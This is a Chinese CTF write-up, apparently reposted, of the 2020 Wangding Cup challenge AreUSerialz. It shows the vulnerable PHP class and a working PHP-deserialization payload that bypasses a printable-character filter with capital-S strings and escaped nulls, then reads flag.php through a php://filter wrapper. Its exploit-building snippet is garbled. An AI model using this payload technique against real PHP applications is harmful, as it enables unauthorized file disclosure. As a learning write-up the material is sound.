网鼎杯2020php反序列化,2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup
0x02 AreUSerialz
關(guān)于s大寫小寫問題,可以看p神在圈子里發(fā)的,我在最后付上截圖
考點(diǎn): php反序列化 php特性 利用鏈構(gòu)造
1.打開頁面得到代碼如下:
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
2.簡(jiǎn)單看下代碼,反序列化操作,protect里面可控:
01.自己構(gòu)造一下利用鏈,主要是繞過 is_vaild 函數(shù),它規(guī)定了序列化內(nèi)容中只能包含ascii可見字符,如果出現(xiàn)其他的字符則會(huì)返回false
02.因?yàn)闃?gòu)造成功的內(nèi)容中,肯定會(huì)包含%00,因?yàn)轭愋褪莗rotect類型,要給添加標(biāo)記,主要坑點(diǎn)在這,繞過這個(gè)的限制
03.我們構(gòu)造利用鏈,輸出序列化內(nèi)容,我們自己構(gòu)造exp,直接讀不知道為啥讀不到,相對(duì)路徑的問題???,比賽就用偽協(xié)議讀一下:
highlight_file(__FILE__);
class FileHandler {
protected $op=2;
protected $op=filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";
protected $op=loecho;
}
$FileHandler = new FileHandler();
$test = serialize($FileHandler);
echo $test;
04.先得知道路徑,我們通過 /proc/self/cmdline 知道配置文件路徑 /web/config/httpd.conf,通過配置文件知道目錄的路徑/web/html
直接讀一下Flag
運(yùn)行結(jié)果如下:
得到序列化數(shù)據(jù):
04 修改下Payload,主要是 %00,進(jìn)行標(biāo)記,然后進(jìn)行Protecte繞過,改為 16進(jìn)制\00\00或者空格,繞過字符限制
O:11:"FileHandler":3:{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:10:"\00*\00content";s:6:"loecho";}
*
str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";S:6:"loecho";}
1. Paylaod打過去,看結(jié)果:
我們使用偽協(xié)議讀的,Base64解碼一下:
相關(guān)資料:
01. 在線復(fù)現(xiàn): https://buuoj.cn/challenges
02. 反序列化基礎(chǔ): https://bealright.github.io/2019/08/12/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0(%E4%B8%80)/
總結(jié)
以上是生活随笔為你收集整理的网鼎杯2020php反序列化,2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 中快捷搜索_同事用1分钟,我用半小时,原
- 下一篇: 数据生态mysql_数据生态:MySQL